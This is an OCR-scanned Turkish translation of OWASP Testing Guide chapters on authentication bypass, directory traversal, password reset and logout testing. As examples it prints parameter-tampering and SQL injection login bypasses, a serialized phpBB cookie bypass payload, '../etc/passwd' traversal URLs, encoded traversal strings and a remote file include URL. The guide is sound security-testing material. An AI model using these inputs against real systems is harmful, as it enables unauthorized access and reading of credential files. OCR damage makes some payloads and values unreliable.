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4.4.3 KIMLIK DOGRULAMA KURGULARININ ATLATILMASI

‘ OZET

Birgok uygulama 6zel bilgilere erisim veya gorevi ¢alistirmak icin kimlik denetlemesi gerektirirken tiim kimlik dogrulama
metodlari yeterli seviyede glivenlik saglamaz.

ihmal, bilgisizlik veya basit ve yetersiz kalan giivenlik tehditleri nedeniyle sik sik kimlik denetleme semalari ve kimlik
denetlemelerindeki oturum sayfalarini gegmek (bypass yapmak) ve dahili sayfalara direk olarak erisildi.

Buna ek olarak, kimlik denetleme yollarini istekler ve uygulama hileleri ile sikistirarak gegip authentice (kimlik dogrulamasini
gecmek) mimkin. Bu, URL parametresini modifiye etmek ya da sahte oturum yolu ile bicimde (form’da) oynama yaparak
gerceklestirilebilir.

KONU TANIMI

Kimlik dogrulama ile ilgili problemler farkli asamalardaki yazihm gelistirme ¢emberinde (software development life cycle,
SDLC) bulunabilir. Mesela tasarim, gelisim ve kurulum asamalarinda.

Tasarim hata 6rnekleri korunan uygulama boltimlerinin yanhs tanimini, gtivenli kimlik denetimindeki bilgi alis-verisleri igin
gereken gucll sifreleme iletisim kurallarinin uygulanmamasini icermektedir. Ve dahasi..

Gelisim asamalarindaki problemler, 6rnegin giris onaylama fonksiyonunun yanlis gerceklesmesi veya 6zel dil icin en iyi pratik
givenligin izlenmemesi.

Ek olarak, uygulama yiklenmesi (kurulum ve configure aktiviteleri) sirasinda bazi sorunlar var.

KARA KUTU TESTI VE ORNEGI
Web uygulamasi kullanarak kimlik dogrulamayi atlamanin (baypas etmenin) birkag yolu var:
e Direk sayfa istegi (zorla tarama)(forced browsing)
e Parametrelerde degistirme yapmak
e Oturum kimlik tahmini

e Sql Enjeksiyonu (Sql Injection)

Direk sayfa istegi (Direct page request)

Eger web uygulamasi sadece login sayfasina erisim denetimini gerceklestirirse, kimlik dogrulama baypas edilmis olur.
Ornegin; eger kullanici zorla tarama ile (forced browsing ile) direk olarak farkli bir sayfayi cagirirsa, sayfa garantili giristen
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once kullanicinin kimligini dogrulamadan kontrol edilebilir. Tarayici adres ¢ubugu ile korumali sayfaya direk erisimde

bulunarak bu metodu test edebilirsiniz.
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Parametre Degistirme

Bir diger sorun kimlik dogrulama dizayni ile ilgili ve uygulama basarili oturumu sagladiginda parametre degeri sabitlenir.
Kullanict korumali alanlara erisim hakki elde etmek igin kimlik dogrulama olmaksizin bu parametreyi modifiye edebilir.
Asagidaki 6rnekte URL iginde bir parametre var, fakat proxy bu parametreyi modifiye edebilir, 6zellikle parametre form

elemanlarini post ettiginde (génderdiginde).

http://www.site.com/page.asp?authenticated=no

raven@blackbox /home $nc www.site.com 80
GET /page.asp?authenticated=yes HTTP/1.0

HTTP/1.1 200 OK

Date: Sat, 11 Nov 2006 10:22:44 GMT

Server: Apache

Connection: close

Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<HTML><HEAD>

</HEAD><BODY>

<Hl1>You Are Auhtenticated</H1>
</BODY></HTML>

(Basariyla kimlik dogrulama yapildi!)
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Oturum kimlik tahmini

Birgok web uygulamasi oturum kimlik degeri (session id) ile kimlik dogrulamayi yénetiyor. Bu nedenle eger oturum kimligi
kotd niyetli kullanici igin tahmin edilebiliyor ve kullanici oturum kimligini bulup uygulamada bir énceki kisinin oturumunu
taklit ederek izinsiz erisim kazaniyor.

Asagidaki resimde cgerezlerin degerleri diizenli olarak artiyor, boylece atak yapan kisinin dogru kimlik oturumunu tahmini
kolaylasiyor.

Cookie values over time
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Asagidaki 6rnekte cerezlerin degerleri kismen degisiyor, bdylece bruteforce atagini kisitlamayr miimkin kilyor.

Session ldentifier : |12?.l].l].11'|NehGoat WEAKID
Date — Walue

2006/11/11 14:33.27 1243041163252007 025
2006011511 14:33.27 12431411632520071 35
200611511 14:33.27 1243201163252007247]
200611511 14:33.27 124331163252007 435
20061111 14:33.27 1243401163252007544)
2006/11/11 14:33.27 1243501163252007653
2006011511 14:33.27 124361163252007 763
200611511 14:33.27 12437116325200757 3
20061111 14:33:28 1243811163252007983
2006/11/11 14:33.28 124391163252008091
2006/11/11 14:33.28 1244 01163252008200
200611511 14:33:28 1244 41163252008310
200611511 14:33:28 1244 3116325200841 5
2006/11/11 14:33:.28 1244441163252008525
2006/11/11 14:33.28 1244501163252008635
200611511 14:33.28 12446{11632520087 47
200611511 14:33.28 12447111 63252008857
20061111 14:33:28 1244811163252008965
2006/11/11 14:33:29 12445]1163252009075
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Sql Enjeksiyon (HTML Formunda Kimlik Dogrulama)

SQL Enjeksiyon en ¢ok bilinen atak teknigidir. Bu béliimde teknigi detaylari ile agiklamiyorum. Bazi bolimlerde sql
enjeksiyon teknigi agiklanmistir.

“ Goat Hills Financlal

L
s Human Resources
[## ol
Please Login
Lamy Stooge (employee) V|
Password

Asagidaki resim basit sql enjeksiyonunu gosteriyor. Formu kimlik dogrulama ile baypas etmek mimkin.

Intercept requests : Intercept responses : [ ]
Parsed | Raw |
Method URL Version
POST | [http: 27.0.0.1:80Me hGoatiattack?menu=610 | [HTTRIA |
Header Value
Host 127.001
User-Agent Rawen Web Browser
IAccept textixml,applicationfxml applicationfhtmi+xml texthtml,g=0.9 text'plain,g=0.8,image/png,*™,g=0.5
Accept-Language en-us,en,g=0.5
AcceptEncoding gzip, deflate
AcceptCharset 150-8859-1,utF-8,0=0.7%0=0.7 Insert
Keep-Alive 300
Proxy-Connection keep-alive Dolets
Refarer hitp:1 27 .0.0.1 WebGoatiattack? show=PreviousHint&menu=610
Cookie WJSESEIONID=01D8C5565AC590D76120D1BCDIF 21 CEE
Autharization Basic Z3VIc3IQBZ3VIc3A=
Content-Type applicationi-www-form-urlencoded
Content-length 38
URLEncoded | Text | Hex |
Variable [ value
ermployee_id 101
nassword W= SGLNJECTION Insert
Fctmn Login Delete
Accept changes I Cancel changes | Abort recuest | ‘ Cancel ALL intercepts

GRI KUTU TESTI VE ORNEGI

Bu boliimde atak yapan kisinin exploit yéntemi ile ya da web deposundan (agik kaynak uygulamalar) uygulamanin kaynak
kodlari alabildigini ve kimlik dogrulamaya karsi temiz ataklarin gergeklesmesinden bahsedicem.

Asagidaki 6rnekte (PHPBB 2.0.13 — Kimlik dogrulama agig1) 5. siradaki unserialize() fonksiyonu kullanicinin temin ettigi cerezi
ve Srow dizisindeki degeri ayristiriyor. 10. sirada kullanici veritabanina md5 sifresini aliyor ve karsilastirma yapiyor.

1. if ( isset ($HTTP_COOKIE VARS[S$Scookiename ' sid']) ||

2. |

3. S$sessiondata = isset( SHTTP COOKIE VARS[$cookiename ' data']l ) ?
4.

5. unserialize(stripslashes (SHTTP COOKIE VARS[$Scookiename ' data'l])) array () ;
6.

7. S$sessionmethod = SESSION METHOD COOKIE;

8. }

9.

10. if( md5(Spassword) == $row['user password'] && Srow['user active'] )
11.
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12. |
13. Sautologin = ( isset (SHTTP_ POST VARS['autologin']) ) ? TRUE : 0;
14. }

PHP’de In PHP a comparison between a string value and a boolean value (1 - "TRUE") is always "TRUE", so supplying the
following string (important part is "b:1") to the userialize() function is possible to bypass the authentication control:

a:2:{s:1l:"autologinid";b:1;s:6:"userid";s:1:"2";}

REFERANSLAR

Dokiimanlar
= Mark Roxberry: "PHPBB 2.0.13 vulnerability"
= David Endler: "Session ID Brute Force Exploitation and Prediction" - http://www.cgisecurity.com/lib/SessionIDs.pdf

Araglar
=  WebScarab: http://www.owasp.org/index.php/Category:OWASP WebScarab Project
. WebGoat: http://www.owasp.org/index.php/OWASP WebGoat Project

4.4.4 DiZiN KARSITI/DOSYA iCERiGi

OZET

Birgok web uygulamasi glinliik islemleri icin dosyalari kullanir yada yonetir. Girdi dogrulama methodu kullanilarak dizayn
edilemez ya da yerlestirme yapilamaz, saldirgan sistemi exploit edebilir, okuma/yazma dosyalari ki bunlar kabul edilmezler,
degisik durumlarda gelisi glizel kod ile ya da sistem komutlarti ile galistirmak mimkun.

KONU TANIMI

Web sunuculari ve web uygulamalari kimlik dogrulama mekanizmasini dosya ve kaynaklarin erisim kontrol sirasina gore
gergeklestirirler. Web sunuculari kullanicilarin kék (root) dizinindeki dosyalarin igini ve ya web dokiiman dizinini (web
document root) sinirlandirir ki bu dizin fiziksel dosya sistemidir. Kullanici web uygulamasinda hiyerarsik yapidaki temel dizin
olan bu dizini dikkate alir. Access Control Lists (ACL) (giris kontrol listesi), sunucudaki 6zel dosyalara tanimlanmis kullanici ve
kullanici gruplari erisebilir, modifiye ya da ¢alistirma yapilabilir anlamina gelir. Bu mekanizma hassas dosyalara kot niyetli
kullanicinin (Linux'teki genel /etc/passwd gibi) erisimini ve sistem komutlarini calistirmasini engellemek igin dizayn
edilmistir.

Web uygulamalari farkli icerikteki dosyalarda sunucu tarafli betikleri (server-side scripts) kullanir. Genel olarak bu metod
grafikleri yonetmek, sablonlar (templates), statik yazi yikleme ve bunun gibi islemleri kullanir. Malesefki, bu uygulamalar
eger dogru girdi parametreleri (form parametreleri, cerez degerleri (form parameters, cookie values)) olmazsa giivenlik
aciklarinin patlamasina neden oluyor.

Web sunucularinda ve web uygulamalarinda bu tarz problemler dizin dolasimi/dosya igerigi ataklarini yiikseltir. Bu gibi
aciklari exploit etmek saldirgana dizini okuyabilme ve normalde izni olmayan bilgilere disaridan erisebilme saglar.
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OWASP Testing Guide'in amaci, web uygulamalari ve web sunuculari tehditlerini g6z 6niinde bulundurur ve okuyuculara
bundan dahada 6&tesini saglar.

Bu tir atak (dot-dot-slash ../ olarak bilinir), yol gezimi, dizinlere ¢ikis, geri izlemedir.
Dot-dot slash, path traversal, directory climbing, backtracking.

Degerlendirme siresince directory traversal'i ve file include kusurlarini kesfedicez. Bunun igin 2 farkl asamaya ihtiyacimiz
var:

e (a) Input Vectors Enumeration (her girdi vectoriinii sistematik eleme)

e (b) Testing Techniques (her atak teknigini ve saldirganin kullandigi agigi exploit etmeyi sistemli eleme)

KARA KUTU TESTi VE ORNEGI

(a) Input Vectors Enumeration

Input validation bypassing'de (Girdi Dogrulama Baypasinda) uygulamanin hangi pargasinin agiginin oldugunu bulmak igin
test eden kisi tim pargalari tek tek numaralandirir ve hangisinin igeriginin kullanici tarafindan kabul edildigine bakar. Bu
ayrica HTTP GET ve POST queryleri igerir ve dosya yiiklemelerindeki ve HTML formlarindaki genel ayarlardir.

Bu asamadaki drneklerinin igerigi:
e  HTTP isteklerindeki dosya iliskileri parametreleri tanimak.
e  Garip dosya uzantilari
e lIging degisken isimleri

http://example.com/getUserProfile.jsp?item=ikki.html
http://example.com/index.php?file=content
http://example.com/main.cgi?home=index.htm

e  Web uygulamalarindaki dinamik nesilli sayfa ya da sablonlar igin tanimlanmis gerezleri kullanmak mimkiin ma?

Cookie: ID=d9ccd3f4f9f18ccl:TM=2166255468:LM=1162655568:S5=3cFpgbJgMSSPKVMV:TEMPLATE=flower
Cookie: USER=1826cc8f:PSTYLE=GreenDotRed

(b) Deneme Teknikleri
Bir sonraki test asamasi web uygulamasindaki giris dogrulama fonksiyonlarinin analizi.

Bir dnceki 6rnegi tekrar inceleyelim. Dinamik sayfa ¢agiriliyor. GetUserProfile.jsp statik bilgileri dosyadan yukliyor ve igerigi
kullaniciya gosteriyor. Saldirgan koti niyetli kodu girebiliyor “../../../../etc/passwd” ve bu Linux/Unix sisteminin sifre
dosyasini icerir. Boyle bir atak agikgasi miimkiin, fakat sadece ve sadece dogrulama noktasi basarisiz olursa. Tabi dosya
sisteminin uygun olmasi ve web uygulamasinin kendi kendine dosyayi okuyabilmesi gerekli.

Testin basarili olmasi icin, testi yapanin sistem hakkinda bilgili olmasi ve dosya isteklerinin yerini bilmesi gerekir.
/etc/passwd icin ISS web sunucusunda bir istek noktasi yoktur.
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http://example.com/getUserProfile.jsp?item=../../../../etc/passwd

Bu gerez 6rnegi:

Cookie: USER=1826cc8f:PSTYLE=../../../../etc/passwd

Bu ek olarak dosya icerikleri, sciptler ve harici websitesindeki yerlerini 6grenmeyede olanak saglar.
http://example.com/index.php?file=http://www.owasp.org/malicioustxt

Bu 6rnek CGl bilegeni ile kaynak kodun nasil gésterilebilecegini path traversal kullanmadan yapilabilecegini ispatliyor.
http://example.com/main.cgi?home=main.cgi

Bilesen “main.cgi” normal HTML statik dosyalari gibi ayni dizinde bulunur. Bazi boliimlerde test yapan 6zel karakterler
kullanarak (“.”, “dot”, “%00”, null gibi) istekleri sifreme ihtiyaci duyar. Bunu dosya uzantilasini kontrol etmek yada script
calismasini durdurmak icin yapar.

ipucu: Gelistiricilerin yaptigi genel hata, her formun kodlanacagini (form encoding) beklememek ve sadece basit kodlamalar
dogrulamak. Eger uyguladiginiz test stringi basarili olamiyorsa farkli kodlama semalari deneyin.

Her isletim sistemi farkli karakter yol ayiricalari kullanir.

Unix-like 0OS:

root directory: "/"

directory separator: "/"

Windows OS:

root directory: "<drive letter>:\"

directory separator: "\" but also "/"

(Usually on Win, the directory traversal attack is limited to a single partition)
Classic Mac OS:

root directory: "<drive letter>:"

directory separator: ":"

e URL kodlamasi ve ¢ift URL kodlamasi

e%2e%2f represents ../
e%2e/ represents ../
..%2f represents ../
2e%5c represents ..\
2e\ represents ..\
c represents ..\
e%252e%255¢c represents ..\
.%$255¢c represents ..\ and so on.

e Unicode/UTF-8 Kodlamasi (Sadece fazla uzun olan UTF-8 karakter kodlamasini kabul eden sistemlerde calisir)

.%c0%af represents ../
.%c1%9c represents ..\

GRI KUTU TESTI VE ORNEGI

Gray Box (Gri kutu) yaklasimli analiz gergeklestiginde, bizde ayni methodu Black Box (Siyah Kutu) testinde izlemeliyiz. Buna
ragmen, kaynak koda tekrar baktigimizda girdi vektorlerini kolayca ve kesin olarak aratabiliyoruz. Kaynak kodu tekrar
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gbzden gegirirken uygulama kodunda, bir arama yada bir sablon (bigim) aramasinda basit araglar (grep komutu gibi)

Turkey

kullanabiliriz: buna fonksiyonlar ve methodlar olmak Gzere dosya sistemi operasyonlarida dahildir.

PHP: include (), include once(), require(), require once(), fopen(), readfile(),
JSP/Servlet: java.io.File(), java.io.FileReader (),
ASP: include file, include virtual,

Cevrimigi kod arama motorlari (Google CodeSearch[1], Koders[2]) agikkaynak yazilimlardaki dizin dolasim agiklarini
(directory traversal flaws) bulmaya ve bunlari internette agiklamaya olanak saglar.

PHP igin asagidakini kullanabiliriz:
lang:php (include|require) (_once) ?2\s*["" (]?\s*\$_(GET|POST |COOKIE)

Gray Box Test metodunu kullanarak agiklari bulabiliriz. Ki bunlarin bulunmasi oldukg¢a zordur ya da miimkiin olsa bile Black
Box degerlendirmesi sirasinda bulunabilir.

Bazi web uygulamalari veritabaninda degerler ve parametreler saklayarak dinamik sayfalar Uretirler. Bu directory traversal
stringine 0zel terim eklenmesine olanak saglayabilir. Tabi uygulama bilgileri kaydettiginde. Bu tiir glivenlik agiklarini ve
eklenen fonksiyonlarin icerigi ve glivenligindeki parametreleri bulmak kadar zordur. Aksi takdirde miimkiin degildir.

Ek olarak, kaynak kod tekrar gézden gecirildiginde, fonksiyonlari analiz etmek ve gecersiz girdileri yakalamak mimkundiir.
Bazi gelistiriciler gecersiz girdiyi gecerli olacak sekilde degistirirler, bu uyari ve hatalardan kaginmak igindir. Bu fonksiyonlar
genelde glvenlik agiklari igin dayaniksizdir.

Web uygulamasinin asagidaki bilgileri icerdigini varsayalim:

filename = Request.QueryString(“file”);
Replace (filename, “/7,”\”);

Replace (filename, “..\”,”");

Testing for the flaw is acheived by:
file=....//....//boot.ini
file=....\\....\\boot.ini

file= ..\..\boot.ini

REFERANSLAR

Dokiimanlar
= Security Risks of - http://www.schneier.com/crypto-gram-0007.html[3]
=  phpBB Attachment Mod Directory Traversal HTTP POST Injection -
http://archives.neohapsis.com/archives/fulldisclosure/2004-12/0290.htmi[4]

Araglar
=  Web Proxy (Burp Suite[5], Paros[6], WebScarab|[7])
. Enconding/Decoding tools
= String searcher "grep" - http://www.gnu.org/software/grep/

4.4.5 SIFRE HATIRLAMA ACIG| VE SIFRE SIFIRLAMA
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‘ OZET

Birgok web uygulamasi kullanicinin sifresini unuttugu zaman sifirlamasina izin verir. Bu genellikle e-posta adresine sifre
sifirlama isteginin gitmesi ya da glivenlik sorusunun cevabi sorularak yapilir. Bu testte bu fonksiyonun gerceklesmesini ve
kimlik dogrulama semasinda bir kusur olmadigini gériicez. Ayrica uygulamanin kullaniciya sifresini kaydetmesini (sifremi
hatirla segcenegini (remember password)) kontrol edicez.

KONU TANIMI

Web uygulamalarinin blyik ¢ogunlugu kullanici sifresini unuttugunda veya kaybettiginde, sifresini kurtarmasini ya da
sifirlamasini saglar. Esas prosediir degisikligi farkli uygulamalarda oldukga agirdir ve giivenlik seviyesine baghdir. Fakat bu
yaklasim kullanicinin kimlik dogrulamasinda her zaman alternatif bir yol olarak kullanilir. En basit ve en ¢ok kullanilan
yaklasim kullanicinin e-posta adresinin istenmesi ve eski sifre ya da yeni sifrenin bu adrese gonderilmesidir. Bu sema
varsayim Uzerindedir ve bu kullanicinin e-postasi tehlikeye atilmaz. Buda gayet giivenli bir yontemdir.

Buna ek olarak, uygulama kullaniciya gizli sorusunu sorabilir. Gizli soru kullanici tarafindan belirlenen ve uygulamanin
gelistiricisi tarafindan belirlenen sorulardir. Bu glivenlik semasi farkl bir kisinin gelip bu soruya farkli birseyler yazarak ya da
cevabi tahmin ederek kendisini o kisi gibi tanitip bilgilere bakmasini saglar. Mesela gok kolay olan bir giivenlik sorusu:
“annenizin kizlik soyadi”, “cogukluk arkadasiniz” ..vs gibi cevabi ¢ok kolay tahmin edilebilir sorular. Bunlar saldirgan
tarafindan ¢ok zorlanmadan yapabilecegi bir is. Ornegin daha iyi bir soru su olabilir. “favori dgretmeniniz”. Bu en azindan
saldirgani biraz daha ugrastirabilecek ve sizin hakkinizda daha fazla bilgi sahibi olmasini gerektirecek tlrden bir sorudur. Bir
diger genel 6zellik, kullaniciya kolaylik saglamaktir. Buda sifrenin énbellege (cache) yerlestirilmesi ve tekrar tekrar sifre
girmek zorunda kalinmamasidir. Bu kullanicilar igin biyik bir kolaylktir. Fakat ayni makinada farkli bir kullanicininda gelip

¢ok rahat bir sekilde bilgilerinize erisebilmesi anlaminada gelir.

KARA KUTU TESTI VE ORNEGI

Sifre Sifirlama

ilk adim gizli soruyu kullanarak kontrol yapmak. E-posta adresine sifrenin gizli soru sorulmadan génderilmesi demek e-
posta'nin %100 glivenli oldugu anlamina itimat ediyor. Eger uygulama ylksek seviyede giivenlik istiyorsa elverisli degildir.
Bir diger degisle, gizli soru kullanilirsa bir sonraki 6nemli adima gegiyor.

ilk noktada sifrenin sifirlanmasi icin kag tane sorunun cevaplanacagina ihtiyag vardir. Uygulamalarin cogu sadece kullanicinin
tek bir soruyu cevaplamasina ihtiya¢ duyar. Fakat bazi kritik uygulamalarda iki ya da daha fazla soru cevaplar. Tabi dogru
olacak sekilde.

ikinci adimda, sorulari analiz etmeliyiz. Self-reser sistemleri sik sik birden fazla sorunun segilmesini dnerir. Saldirgan
oldugunuzu varsayarak bunu yaptiginizi distiniin. Bu iyi bir imzadir.

Asagida adim adim self-reset araglarinin nasil isledigine bakahm.

e  Birden fazla soru tavsiye ediliyor mu?
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o Eger evetse, cevabi basit olan genel bir soru segin. Soru: Dogum tarihiniz / Cevap: 1983 gibi.
o Her zaman sorunuzu harfi harfine uyacak cevabi olanlari segin ve cevabinizda ayni sekilde olsun.

o Sorunuza bakin ve “ilk arabaniz nedir?” gibi ¢cok secenekli sorulari segin. Saldirgan bunun igin ufak bir liste
yapicaktir fakat sansli ise hedefi tutturur.

e Ne kadar tahminde bulunabileceginizi belirleyin.
o Sifre sifirlama istegi limitsiz yapilabiliyor mu?

o Belli bir yanlis cevaptan sonra sistem kilitleniyor mu (lockout)? Lockout yani sistemi kilitlemek ya da
sistemin belli bir yanls cevaptan sonra artik kullanicinin girisini kitlemesi. Bu sistem kendi icerisinde
guvenlik sorunlari yaratabilir. Bu exploit edilebilir ve Denial os Service'a neden olabilir.

e  Uygun bir soru segin ve soruyu segerken yukaridaki kriterleri géz 6niinde bulundurun.
o Sifre sifirlama araci nasil hareket eder?

o Aninda degisiklige izin veriyor mu?

o

Eski sifreyi gbsteriyor mu?
o Onceden tanimlanan e-posta adresine sifreyi génderiyor mu?

o Eniyi tehlikeli senaryo, eger sifre sifirlama araci size sifreyi gosteriyorsa; bu saldirgana hesaba giris
yapabilme yetkisi verir, ve uygulama en son giris bilgilerini aglar, kurban hesabinin ya da bilgilerinin
tehlikede oldugunu bilmez.

o Daha az tehlikeli olan senaryo, eger sifre sifirlama araci kullanici tarafindan zorlanirsa hemen sifreyi
degistirir. Fakat ilk senaryo kadar tehlikeli ve ¢alinabilir degildir. Saldirganin erisim kazanmasina ve gergek
kullaniciyi sistemden atmasina izin verir.

o Eniyiglvenlik; eger sifre sifirlama yapildi ise kayith oldugu e-posta'ya gonderilir ya da baska bir e-posta
adresine; bu deneme saldirganin sadece hangi e-posta oldugunu tahmin etmesi degil ayni zamanda
hesaptan uzaklasmasina ve kontroli kaybetmesine neden olur.

Anahtar basariyla exploit ediliyor ve soru ile cevabi yerlestirilerek sifre sifirlama baypas ediliyor. Her zaman size gore
istatiksel olarak en iyi olan ve cevabi ¢cok degiskenli olan sorulara bakin. (tabi cevabinda kolay olmamasi durumunda). Son
olarak sifre sifirlama araci sadece en zayif sorunun en gliclistdir. Kigik bir not olarak, eger uygulama eski sifreyi size agik
text olarak gdnderir ya da gosterirse bu demek oluyor ki sifre hash formunda saklanmiyordur. Buda uygulamanin kendi
sorunudur.

Sifre Hatirlama

Sifremi hatirla mekanizmasi asagidaki 2 sekilde gergeklesir:
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1. Web tarayicisinin cache password dedigimiz sifreyi bellekte saklamaya izin vermesiyle. Buna ragmen uygulama
mekanizmasi direk olarak bunu yapmaz, buna sizin izin vermeniz gerekir. Yani web tarayicinizdan bunu yasaklayip
izin verebilirsiniz.

2. Kalici gerez olarak saklanabilir. Sifre sifrelenmeli ya da agik metin (cleartext) olarak gésterilmemelidir.

ilk methoda gére, asagidaki giris sayfasi HTML kodunu kontrol edin ve tarayicinin sifreyi hatirlama kisminin devredis
oldugunu gorin.

<INPUT TYPE="password" AUTOCOMPLETE="off">

Otomatik sifre tamamlama her zaman devredisi olmalidir., 6zellikle hasas uygulamalarda, saldirgan eger tarayici bellegine
erisebiliyorsa sifreyi acik metin olarak (oldugu gibi) gdrebilir. ikinci methodu kontrol ettigimizde saklanan gerez tarayici
tarafindan incelenir. Kimlik dogrulamasi agik metin olarak saklanmaz, ama hashlanir, yani bozulur (kirllmamasi igin). Hash
mekanizmasini inceleyelim: eger agik olarak goriinliyosa hashlanmis sifre, bunun glicliliigt kontrol edilir. Kendi hash
fonksiyonlari birkag kullanici adi deneyerek kolayca tahmin edilecek bir fonksiyon olup olmadigini kontrol eder. Ek olarak,
oturum agma sirasinda kimlik bilgileri dogrulanir ve uygulama her istek igin hepsini beraber gonderir.

GRI KUTU TESTI VE ORNEGI

Bu test sadece fonksiyonel 6zellikli uygulamadir ve HTML kodu her zaman client'in igindedir. Gray Box (Gri kutu) testi ayni
ana hatlarda bir 6nceki paragrafi izliyor. Kural disi tek durum gerezdeki sifre sifrelenmistir. Bu agagidaki linkte
tanimlanmistir.

Cookie and Session Token Manipulation

4.4.6 OTURUM KAPATMA VE TARAYICI BELLEK YONETIM TESTI

OZET

Bu bolimde oturum kapatma fonksiyonunun isleyisini ve oturum kapandiktan sonra tekrar kullanilip kullaniimadigini
kontrol ediyoruz. Ayrica uygulamanin kullanicinin belli bir stire aktiflik gostermediginde otomatik oturum kapatmasini ve
tarayici belleginde herhangi bir hassas bilginin kalip kalmadigini kontrol edicez.

KONU TANIMI

Web oturumunun sonunda genellikle 2 olay baslar:
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e  Kullanici oturum kapatir.

e  Kullanici belli bir siire aktiflik gdstermediginde uygulamanin otomatik olarak oturum kapatir.

iki durumda dikkatli gerceklesmelidir ve zayiflik hakkinda bilgilendirmeden kaginmak gerekir ki bu durum saldirgan
tarafindan exploit edilebilir ve erisim hakki kazandirabilir. Daha 6zele inersek oturum kapatma fonksiyonu tiim oturum
belirtilerini (en basitinden gerezleri) yoketmeli ya da kullanilamaz yapmalidir. Ayrica sunucu tarafininda bu belirtilerin tekrar
kullanilmasini yasaklamasi gerekir.

Not: En 6nemli sey sunucu tarafinda uygulamanin gegersiz kiinmasidir. Su demek oluyor: Kod kendine uygun metodu
cagirir, mesela Java'daki HttpSession.invalidate() veya .Net'teki Session.abandon() gibi. Tarayicidan gerezler silinir ama tam
anlamiyla gerektigi gibi silinmez. Fakat bu sunucu tarafinda oturum igin yine gegersizdir ve tarayicinin gerezleri tutmasi
saldirganin higbir isine yaramaz.

Eger bazi olaylar yerine getirilmezse saldirgan bu oturum belirtilerini tekrarlatabilir. Buna “cookie replay attack” (ressurrect)
yani yeniden canlandirmak denir. Béylece yasal kullanicinin oturumunu neredeyse ayni oturum gibi taklit ederek geri getirir.
Tabiki, hafifletici faktor saldirganin bu cerez gibi belirtilere gereksinim duydugu erisim. (ki bu belirtiler kurbanin
bilgisayarinda saklanir.) Ama bu degisik durumlarda ¢ok zor degil malesef. Bu atak icin en genel senaryo acik bilgisayarin
bazi 6zel bilgileri igeren yerlere giris yetkisinin olmasidir. Ornek olarak, webmail, bankacilik, online islemler ..vs: kullanic
bunu bitirdiginde uygulama oturumu kapatir, eger oturum kapatma islemi diizgiin sekilde islemiyorsa devaminda gelen
kullanici ayni hesaba tekrar erisim yapabilir. Ornegin; basit bir buton gibi gériinii geri butonu (back button). Farkli bir
senaryo olarak ¢apraz site agigindan (Cross Site Scripting vulnerability) ya da %100 korunmayan SSL bdyle bir olaya neden
olabilir. Kusurlu oturum kapama fonksiyonu uzun siireli ¢erezlerin ¢alinmasina neden olur ve hayati saldirgan igin
kolaylastirir. Bu konunun 3. testi, uygulamanin tarayici bellegindeki hassas bilgileri yasaklamasini, ve bunlarin kullanicinin
uygulamaya genel bir bilgisayardan eriserek tekrar tehlikeli davranislarda bulunmasini kontrol ediyor.

KARA KUTU TESTI VE ORNEGI

Oturum kapatma fonksiyonu:

ilk adim oturum kapatma fonksiyonunun varliginin test edilmesi. Oturum kapatma butonunu ve bu butonun gérilebilir
oldugunu kimlik denetimi isteyen tiim sayfalarda kontrol edin. Ya da sadece bazi glivenilir sayfalarda oldugunu kontrol edin.
Clink{i agikga gorinir olmayan buton eger kullanici oturumunu sonlandirmayi unutursa glivenlik riski olugturabilir.

ikinci adim oturum belirtilerinin kullanici logout butonunu ¢agirdiginda ne oldugunu kontrol etmeye dayanir. Ornegin,
cerezler uygun sekilde kullanildiginda yeni set-cookie direktifi ile tim oturum gerezleri silinir. Set-cookie direktifi cerezlerin
degerini degersiz hale getirir (null (bos) ya da baska bir deger yapar). Ve eger ¢erez devamli (stirekli) ise bitis tarihi gegcmis
bir zamana ayarlanir ve tarayiciya bu ¢erezden vazgegmesi soylenir. Boylece eger kimlik dogrulama sayfasi orjinal gerezi
asagidaki yol ile yerlestirirse:

Set-Cookie: SessionID=sjdhgwoy938ehlqg; expires=Sun, 29-0ct-2006 12:20:00 GMT; path=/;
domain=victim.com

oturum kapama fonksiyonu asagidaki istegi baslatmalidir:
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Set-Cookie: SessionID=noauth; expires=Sat, 01-Jan-2000 00:00:00 GMT; path=/;
domain=victim.com

ilk ve basit olan test bu noktada oturum kapatmaya ve sonra tarayicinin geri butonuna basmaya dayanir. Kontrol igin hala
kimlik dogrulamis olmamiz gerekir. Eger 6yleysek, bu demek oluyorki oturum kapama butonu gilivensiz sekilde ¢alisiyor, ve
oturum ID'sini yoketmiyor. Bu bazen uygulamalarin devamli olmayan gerezler kullanmasi ile olur ve gerezlerin etkili sekilde
hafizadan silinmesi icin kullanicinin tarayiciyl kapatmasi gerekir. Bazi uygulamalar kullaniciyr uyarir, tarayiciyl kapatmalarini
Onerir. Fakat bu ¢6zim tamamen kullanicinin davranigina guivenir. Sonuglar asagi seviye gilivenlikte yokedilen gerezler ile
karsilastirihr. Diger uygulamalar JavaScript kullanarak kapatmaya ¢alisabilirler, ama sonug yine istemcinin davranigina
glvenir. Dogal olarak bu, istemci tarayicinin galisacak scriptlere limit koyarak konfiglire etmesi ile daha az giivenlik demek.
Ustelik bu ¢6zliimiin gegerliligi tarayici yapana, versiyona ve ayarlarina baghdir. (mesela, JavaScript kodunun IE'yi basariyla
kapatip Firefox'u bu kadar basarili kapatamasi.)

Eger geri tusuna basilinca bir 6nceki sayfaya giris yapabiliyorsak (ama yeni olana degil), basit olarak tarayici hafizasinada
erisim saglariz. Eger sayfa onemli bilgiler igeriyorsa bu demektir ki uygulama tarayicinin hafizalamasini yasaklamiyor.

Geri butonu teknigini denedikten sonra, biraz sofistike seyler yapmanin zamani geldi: tekrar ¢erezleri orjinal degerleri ile
yerlestirebiliriz ve hala kimlik dogrulamasini gectigimiz uygulamaya erisebilirligi kontrol ederiz. Eger erisebiliyorsak, bu aktif
ya da aktif olmayan gerezlerin sunucu tarafli bir mekanizma olmadigini gésterir. Ama bu, gerezlerinde dogru bilgiler igerip
icermedigini ve erisim garantisi vermez. Kararl gerez yerlestirmek (saptamak) i¢cin WebScarab kullaniyoruz ve uygulamanin
istegini durdurur ve istedigimiz degerde Set-Cookie bashgi ekleriz:

Intercept requests: [_| Intercept responses : [v|

Parsed | Raw |
POST hitps: f /=iy s 0mmeE== =i i oo i tlemmiEl = 1 HTTP/1.1
Host: sgmmmmes—
User-Agent: Mozillafs. 0 (11, U; Linux iI686; en-US; neL8.0.7) Gecko/200&0219 Firefox/1.5.0.7
cet: text/uml applicationxml, application fxhtml-+ xml, textfhtml g =0, 9 text/plain, g =0.8, image/png, "/~ q=0.5
cept-Language: en-us,en;g=0.7,5g=0.3
cept-Encoding: gzip, deflate
